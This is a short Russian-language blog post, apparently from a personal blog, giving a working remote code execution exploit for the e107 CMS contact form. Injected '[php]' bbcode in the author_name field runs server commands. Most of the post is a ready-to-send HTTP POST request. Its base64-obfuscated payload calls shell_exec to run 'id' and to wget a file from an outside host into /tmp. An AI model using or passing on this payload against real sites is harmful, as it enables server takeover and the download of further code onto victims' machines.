В файле contact.php есть строчка:
$sender_name = $tp->toEmail($_POST['author_name'],TRUE,"rawtext");Туда суётся такая конструкция:
author_name=[php]"$cmd";die();[_php]И вуаля - выполнена команда с правами юзера, от которого скрипты работают. Если пыхпых работает как модуль - то правами апача ))
Вот так вот.
Сам http запрос выглядит так (имена хостов изменены):
POST /e107/contact.php HTTP/1.1Строчку суём хоть сплойтом, хоть плагином для фокса, хоть телнетом )))
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: test.domain.ru
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-
urlencoded
Content-Length: 259
send-contactus=1&author_name=%5Bphp%
5Decho(base64_decode("QmFNYlk=").shell_exec(base64_decode(" aWQ=")).base64_decode(" Qnlyb2VOZXQ=")).shell_exec( base64_decode(" Y2QgL3RtcDt3Z2V0IGh0dHA6Ly9kb2 1haW4ub3JnL2hlbGxvLnR4dDsK"))% 3Bdie%28%29%3B%5B%2Fphp%5D
Тестировал на CentOS + nginx + php-fpm
Комментариев нет:
Отправить комментарий